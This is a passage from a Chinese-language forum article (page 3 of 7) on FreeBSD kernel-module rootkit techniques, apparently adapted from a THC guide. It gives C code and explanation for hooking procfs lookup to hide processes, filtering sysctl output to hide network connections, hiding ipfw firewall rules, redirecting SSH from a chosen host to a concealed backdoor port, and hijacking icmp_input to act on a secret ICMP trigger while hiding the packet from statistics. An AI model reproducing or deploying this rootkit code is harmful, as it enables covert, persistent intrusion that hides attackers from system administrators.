| 论坛注册| 加入收藏 | 设为首页| RSS
Google
您当前的位置:首页 > Linux频道 > Linux开发区 > 内核研究

Freebsd内核模块源码实现以及应用探秘

时间:2005-11-25 10:43:19  来源:  作者:
p;      /* by effective uid */
#define KERN_PROC_RUID          6       /* by real uid */
#define KERN_PROC_ARGS          7       /* get/set arguments/proctitle */
这些调用最后会结束于__sysctl调用,THC article 已经描述过了,我用另一种方法实现了它,代码在module/process.c
我们同样用这种方法来隐藏网络连接。

另外一种或的进程信息的方法就是通过procfs,你不需要知道数据的来源,因为它是内核动态产生的所以我们同样可以利用
在文件隐藏节中提到的两种方法来实现,下面我给出了通过hook proc’s lookup 函数的例子
/*
     * replacement for procfs_lookup, this will be used in the case someone doesn’t just
     * do a ls in /proc but tries to enter a dir with a certain pid
     */

    int
    new_procfs_lookup(struct vop_lookup_args *ap)
    {
        struct componentname *cnp = ap->a_cnp;
        char *pname = cnp->cn_nameptr;
        pid_t pid;

        pid = atopid(pname, cnp->cn_namelen);

        if(pid_hidden(pid) && !(is_magic_user((cnp->cn_cred)->cr_uid))) 
            return(ENOENT);

        return(old_procfs_lookup(ap));
    }

You would then replace it when you load the module: 
    extern struct vnodeopv_entry_desc procfs_vnodeop_entries[];
    extern struct vnodeopv_desc **vnodeopv_descs;
    vop_t *old_procfs_lookup;

    static int
    load(struct module *module, int cmd, void *arg)
    {
        switch(cmd) {
            case MOD_LOAD:
                mod_debug("Replacing procfs_lookupn");
                old_procfs_lookup = procfs_vnodeop_p[VOFFSET(vop_lookup)];
                procfs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *)new_procfs_lookup;
                break;

            case MOD_UNLOAD:
                mod_debug("Restoring procfs_lookupn");
                procfs_vnodeop_p[VOFFSET(vop_lookup)] = old_procfs_lookup;
                break;

            default:
                error = EINVAL;
                break;
    }
    return(error);
}
3.2.2  隐藏子进程

也许你想隐藏子进程,防止被kill掉,可以通过截获fork 或者 kill 来达到此目的,在上面的技术中也有很多可以利用的技术
module/process.c 有一个例子

3.3. 隐藏网络连接
为了逃避netstat -an 的网络连接查询,我们采用象隐藏进程一样的方法,它通过同样调用sysctl来查询,当然mib变量是不一样的
对于tcp连接来说:
name[0] = CTL_NET
name[1] = PF_INET
name[2] = IPPROTO_TCP
name[3] = TCPCTL_PCBLIST
像以前一样的方法,输出同样被过滤掉了,然后返回给用户层的sysctl,CY 允许你来隐藏多样的连接通过cyctl,参照
module/process.c 看如何修改的__sysctl.

3.4 隐藏网络连接
另一个有趣的就是隐藏防火墙的规则,可以用你的函数简单的替换ip_fw_ctl函数,ip_fw_ctl是ipfw的控制函数,比如
添加,删除,列出 规则。所以我们可以截获这个函数来表演了,;)

CY的控制函数提供了一个选项来隐藏特定的防火墙规则,象隐藏进程一样,我们可以设置一个标志来标识需要隐藏的的规则
当沿着ipfw 规则队列遍历时,每个规则都是一种结构 struct ip_fw ,这个结构的定义在/sys/netinet/ip_fw.h,结构
中有个条目叫做fw_flag,我们添加一个新的标志,命名为IP_FW_F_HIDDEN
#define IP_FW_F_HIDDEN 0x80000000
module/fw.c 中展示了一个隐藏规则的例子,当用ipfw -l 来列出规则时,它将调用这个函数并且操作码为IP_FW_GET,我们就可以
来处理这个请求来隐藏我们特定的规则,并把其他的规则传给原来的ip_fw_ctl,我们通过遍历整个防火墙规则队列,通过刚才设定的
标志(fw_flag)来查找我们特定的规则,然后减少输出,来达到隐藏的目的。

既然freebsd 的 ipfw 提供了forward和divert(类似于nat的一种功能,但是工作在应用层,与ipfilter的nat功能有本质的差别)
我们就可以利用它来实现后门了,我们可以在12345端口放一个后门,然后先通过前面讲的的隐藏网络连接的功能,隐藏这个listen
的端口,然后添加一个规则,比如说我们一个“特定的主机“对22ssh的连接重定向到12345后门的连接,netstat 就只能看见了22了,
因为后门的网络连接被隐藏了,所以从22到12345也就看不见了。

3.5. 网络触发器 (类似于嗅谈的协议后门:))
上面我们提到了inetsw,一个维持了一组协议信息的数组,协议信息中通常包含了当自己协议类行数据报到来时或传出时时调用的函数
CY包含一个例子,它允许设定一个icmp echo请求到来时的触发器,首先我们要替换掉icmp_input,代码就在module/icmp.c
这里我们只需要把修改一点就可以了,icmp header定义在/usr/include/netinet/ip_icmp.h
Part of module/icmp.c: 

    [...]

    case ICMP_ECHO:
        if (!icmpbmcastecho
            && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
            icmpstat.icps_bmcastecho++;
            break;
        }

    /* check if the packet contains the specified trigger */

    if(!strcmp(icp->icmp_data,ICMP_TRIGGER)) {  //通过判定icmp数据是否包含特定的标志

        mod_debug("ICMP triggern");

        /* decrease receive stats */
        icmpstat.icps_inhist[icp->icmp_type]--;

        trigger_test(icp->icmp_data);

        /* don’t send a reply */
        goto freeit;
    }

    [...]

//// when the module is loaded: 
    extern struct ipprotosw inetsw[];
    extern u_char ip_protox[];
    void *old_icmp_input;

    static int
    load(struct module *module, int cmd, void *arg)
    {
        switch(cmd) {
            case MOD_LOAD:
                mod_debug("Replacing ICMP Inputn");
                old_icmp_input = inetsw[ip_protox[IPPROTO_ICMP]].pr_input;
                inetsw[ip_protox[IPPROTO_ICMP]].pr_input = new_icmp_input;
                break;

            case MOD_UNLOAD:
                mod_debug("Restoring icmp_inputn");
                inetsw[ip_protox[IPPROTO_ICMP]].
 3/7   |‹ ‹‹ 1 2 3 4 5 6 ›› ›|

来顶一下
近回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
相关文章
    无相关信息
栏目更新
栏目热门